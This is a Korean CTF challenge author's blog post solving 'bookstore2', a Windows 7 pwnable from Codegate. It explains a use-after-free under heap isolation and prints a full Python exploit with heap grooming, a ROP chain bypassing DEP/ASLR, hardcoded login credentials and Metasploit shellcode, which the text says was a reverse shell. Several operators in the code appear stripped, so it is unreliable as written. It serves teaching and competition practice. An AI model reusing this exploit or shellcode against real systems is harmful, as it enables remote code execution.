sweetchip's blog


제가 이번 코드게이트에 출제한 문제는 총 2문제로 bookstore 와 bookstore2 이고 이번 포스팅은 Bookstore2 문제 풀이입니다.





흔하지 않은 유형의 문제라고 생각하는데 바로 windows 운영체제에서의 pwnable 입니다.


일반적인 리눅스에서의 Pwnable 문제를 Windows에 적용시켜봤습니다.


이 문제는 원래 예선에서 내려고 했던 문제인데 아무래도 윈도우 문제이고 사람이 많다보니 운영에 문제가 될 수 있을것 같아서 본선에서 출제하기로 했습니다.


본선장에서는 대회가 끝나기 대략 6시간전에 2시간 뒤에 윈도우 문제가 나올것이라고 미리 말해주고 서버 환경을 알려줬습니다.


또한 대회 전날까지 고의적으로 키값등을 삭제하는 부정행위를 방지하기 위하여 리눅스의 wine에서 돌려보자는등 여러가지 의견이 나왔었는데,


계속 고민한 결과 Low Integrity Process로 설정하여 운영하기로 했습니다.



사실 코드게이트에선 아마 윈도우 문제가 처음일텐데 여러가지 걱정도 있기도 했고 늦게나마 안 사실이지만 문제에 약간 오류(오타)가 있었습니다. (푸는데는 지장이 없으니 다행이네)


아무래도 마지막쯤에 취약점을 갑자기 바꾸고 주니어 대회 네트워크를 세팅하느라 정신이 없었던듯 하네요. 다음엔 이점을 주의해야 할것 같네요.


그리고 문제가 다른 문제에비해 약간 쉬운편이다 보니 배점이 낮아서 그런지 처음에는 6팀 정도가 문제를 잡다가 후반엔 3팀 정도가 문제를 잡고 있었습니다.


아쉽게도 본선장에선 문제가 풀리진 않았지만, 대회가 끝나고 나서 몇몇사람들로부터 문제를 풀었다라고 답이 왔네요!


끝나고라도 풀리니 다행... ㅎㅎ


이번 문제에서도 마찬가지로 Exploit 방법과 POC코드만 올리도록 하겠습니다.





Bookstore2 Binary---------------------------------------------------


bookstore2.exe


load.bat


loader.exe

--------------------------------------------------------------------

Server Environment

- Windows 7 Ultimate 32bit

- Low Integrity Process


Vulnerability

- Use-After-Free


Memory Protection

- ASLR, DEP, Stack Cookie, Safe SEH


문제의 컨셉은 예선에 나온 bookstore와 같은 컨셉으로 서점의 책을 관리해주는 컨셉의 어플리케이션이다.


참고로 이번 문제는 환경에 영향을 받지 않도록 제작한 문제이다.


그래서 단순하게 바이너리 안에 있는 정보 만으로도 충분히 Exploit이 가능하도록 만들었고 동일한 Payload로 Windows7, windows8, windows8.1 에서 유니버셜하게 작동하는 Exploit을 제작할 수 있다. (그러나 win8에선 Heap Allocation 문제로 약간 확률이 떨어지는 현상이 있었으나 Exploit이 작동하는것은 확인했다.)


문제 취약점은 Heap영역에서 발생하는 Use-After-Free이다.


이번 문제도 리얼월드에 가깝게 만든 문제들인데, Chrome, Firefox, Internet Explorer 등에 적용되어있는 Heap Isolation을 흉내낸 문제이다.


바이너리를 까보면 CreateHeap 함수로 새로운 힙영역을 만들고 그 부분에 Ebook과 Book 구조체를 할당한다.


하지만 바이너리를 살펴보면 특정상황일때 book이나 ebook 구조체를 Free하지만 그 구조체에 대한 포인터를 완전히 지우지 않음으로써 발생하는 취약점이다.



보통 지금까지 UAF라면 특정 데이터가 Free되서 새로운 string 힙을 만들어서 쉽게 free된 영역에 Re-allocation이 가능했을 것이다.


그러나 이번 문제는 Heap Isolation으로 인하여 Process Heap (이하 힙A)과 HeapCreate로 생성된 새로운 Heap(이하 힙B)에 따로 분리되어 저장되는것을 볼 수 있다.


다시 말하면 힙A에는 일반 string, 일반 데이터가 저장되지만 힙B 에서는 이 데이터들이 모여 저장된 구조체가 저장된다는 것이다.


또한 UAF 취약점은 힙B의 데이터에서 발생하고 그 데이터에는 Function Pointer가 포함되어 있어서 Reallocation을 통하여 Function Pointer를 조작하는것이 목적이다.


그럼 힙B에는 string도 할당이 불가능하고 일반 데이터도 할당이 불가능하고 오직 가공된 구조체만 할당할 수 있다.



그럼 어떻게 해야 할까?


문제를 풀때 구조체를 분석해보면 Book과 Ebook의 구조체의 크기가 약간 다르다는걸 볼 수 있을 것이다.


또한 해커가 데이터를 완전히 Control할 수 있는 크기는 12바이트라는 것도 볼 수 있을 것이다.


이 점을 이용하여 다음과 같이 생각해보자.


예를들어서 0x40 크기를 가진 A 구조체와 0x3c를 가진 B 구조체가 있다고 할때 A라는 힙이 할당되면 실제 힙 영역에서는 다음과 같은 모습일 것이다.


Struct_A ----------------------------------

HHHHHHHHDDDDDDDDDDDDDDDD

| Header | ... Data 0x40 ... |

-----------------------------------------


그리고 B 구조체는 다음과 같을 것이다.


Struct_B ----------------------------------

HHHHHHHHDDDDDDDDDDDD

| Header | .. Data 0x3c .. |

-----------------------------------------


이중 일부 데이터가 Controllable 하다고 하고 일부 데이터가 Function Pointer 라고 하자.



구조체 A를 먼저 힙에 쭉 뿌려두고 모두 Free시킨다. 하지만 포인터는 여전히 남아있을 것이다.


그다음 구조체 B를 힙에 할당시키면 Free된 힙의 처음 부분부터 할당될 것이다.


위 사진처럼 할당을 하면 어딘가에서는 Controllable한 데이터와 Function Pointer가 만나는 지점이 있을 것이다.


이 문제에선 위 원리를 이용하여 Infoleak과 EIP Control이 가능하다.





Exploit Code


아래는 위 원리를 적용한 Exploit이며


Windows 7, Windows 8.1에서 작동하는것을 확인했다.


실제로 Exploit시 metasploit의 Reverse Shell을 붙여주는 쉘코드를 사용하여 문제를 풀었다.


import os

from socket import *

import struct

import time

p = lambda x : struct.pack("

import re


shellcode = ("\xba\x02\x27\xc8\x90\xd9\xe1\xd9\x74\x24\xf4\x5e\x33\xc9"

"\xb1\x32\x31\x56\x12\x83\xc6\x04\x03\x54\x29\x2a\x65\xa4"

"\xdd\x23\x86\x54\x1e\x54\x0e\xb1\x2f\x46\x74\xb2\x02\x56"

"\xfe\x96\xae\x1d\x52\x02\x24\x53\x7b\x25\x8d\xde\x5d\x08"

"\x0e\xef\x61\xc6\xcc\x71\x1e\x14\x01\x52\x1f\xd7\x54\x93"

"\x58\x05\x96\xc1\x31\x42\x05\xf6\x36\x16\x96\xf7\x98\x1d"

"\xa6\x8f\x9d\xe1\x53\x3a\x9f\x31\xcb\x31\xd7\xa9\x67\x1d"

"\xc8\xc8\xa4\x7d\x34\x83\xc1\xb6\xce\x12\x00\x87\x2f\x25"

"\x6c\x44\x0e\x8a\x61\x94\x56\x2c\x9a\xe3\xac\x4f\x27\xf4"

"\x76\x32\xf3\x71\x6b\x94\x70\x21\x4f\x25\x54\xb4\x04\x29"

"\x11\xb2\x43\x2d\xa4\x17\xf8\x49\x2d\x96\x2f\xd8\x75\xbd"

"\xeb\x81\x2e\xdc\xaa\x6f\x80\xe1\xad\xd7\x7d\x44\xa5\xf5"

"\x6a\xfe\xe4\x93\x6d\x72\x93\xda\x6e\x8c\x9c\x4c\x07\xbd"

"\x17\x03\x50\x42\xf2\x60\xae\x08\x5f\xc0\x27\xd5\x35\x51"

"\x2a\xe6\xe3\x95\x53\x65\x06\x65\xa0\x75\x63\x60\xec\x31"

"\x9f\x18\x7d\xd4\x9f\x8f\x7e\xfd\xc3\x4e\xed\x9d\x03")

# calc shellcode from metasploit :)


ip = "200.200.200.5"

port = 1337


ss = socket(AF_INET, SOCK_STREAM)

ss.connect((ip, port))


eip = 1

eip1 = 1

eip2 = 1


def r():

result = ""

try:

while 1:

ss.settimeout(0.001)

# ss.settimeout(0.3)

tmp = ss.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


def s(a):

ss.sendall(a)


def login():

print r()

s("helloadmin\n")

print r()

s("Iulover!@#\n")


def makebook():

print r()

s("1\n")

print r()

s("1\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s("1094795581\n")

print r()

s("1094795580\n")

print r()

s("1\n")


def makeebook():

print r()

s("1\n")

print r()

s("2\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s(str(int(eip1)) "\n") # EIP 4

print r()

s(str(int(eip)) "\n") # EIP

print r()

s(str(int(eip2)) "\n") # EIP 8


def forcefree(target):

print r()

s("2\n")

print r()

s(str(target) "\n") # index

print r()

s("3\n")

print r()

s("-1\n")

print r()

s(str(int(0x43434343)) "\n")

print r()

s(str(int(0x42424242)) "\n")

print r()


s("4\n")

print r()

s("0\n")

print r()

s("0\n")

print r()

s("3\n")

print r()

s(str(target) "\n") # index


def put_gadget(gadget, index):

print r()

s("2\n")

print r()

s(str(index) "\n")

print r()

s("2\n")

print r()

s(gadget "\n")

print r()

s("0\n")



def view(target):

print r()

s("4\n")

print r()

s(str(target) "\n") # taarget

return r()


def payload(baseaddress):

virtualalloc_warp = baseaddress 0x2070 #fix

fgets_wrap = baseaddress 0x1460 #fix


ppppr = baseaddress 0x9dff #fix

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1

virtual_space = 0x00100000


result = ""

result = p(r) * 10

result = p(virtualalloc_warp)

result = p(pppr)

result = p(virtual_space)

result = p(0x10000)

result = p(0x40)

# result = p(0x41414141)

result = p(fgets_wrap)

result = p(ppr)

result = p(virtual_space)

result = p(len(shellcode) 2000)


result = p(virtual_space 20)

return result


################################ START

time.sleep(0.1)

login()

################################ INFO LEAAK

# time.sleep(10)

total = -1

for i in range(0, 4):

makeebook()

total = 1

for i in range(0, 4):

forcefree(i)

for i in range(0, 4):

makebook()

total = 1


data = view(2) # infoleak



print "data = " data

found = re.findall("Price : (.*)\n", data)

print found

################################# Make Payload

baseaddr = int(found[0].replace("\r",""))&0xFFFF0000

gadget1 = baseaddr 0x1e97 #fix

"""

xchg eax, esp

pop ecx

pop eax

retn

"""

memory = baseaddr 0x171c0 # global var #fix

eip = gadget1

eip1 = memory

eip2 = gadget1


put_gadget(payload(baseaddr), 6)


################################# Exploit

for i in range(0, 4):

makebook()

total = 1

for i in range(0, 4):

forcefree(7 i)

for i in range(0, 4):

makeebook()

total = 1

print view(7 3) # infoleak

s("\x90"*100 "\xbc\x00\x50\x10\x00" "\x90"*500 shellcode "\x90"*500 "\xcc" "\n")

print r()

print hex(baseaddr)

time.sleep(1)



끝!


신고

Comment 2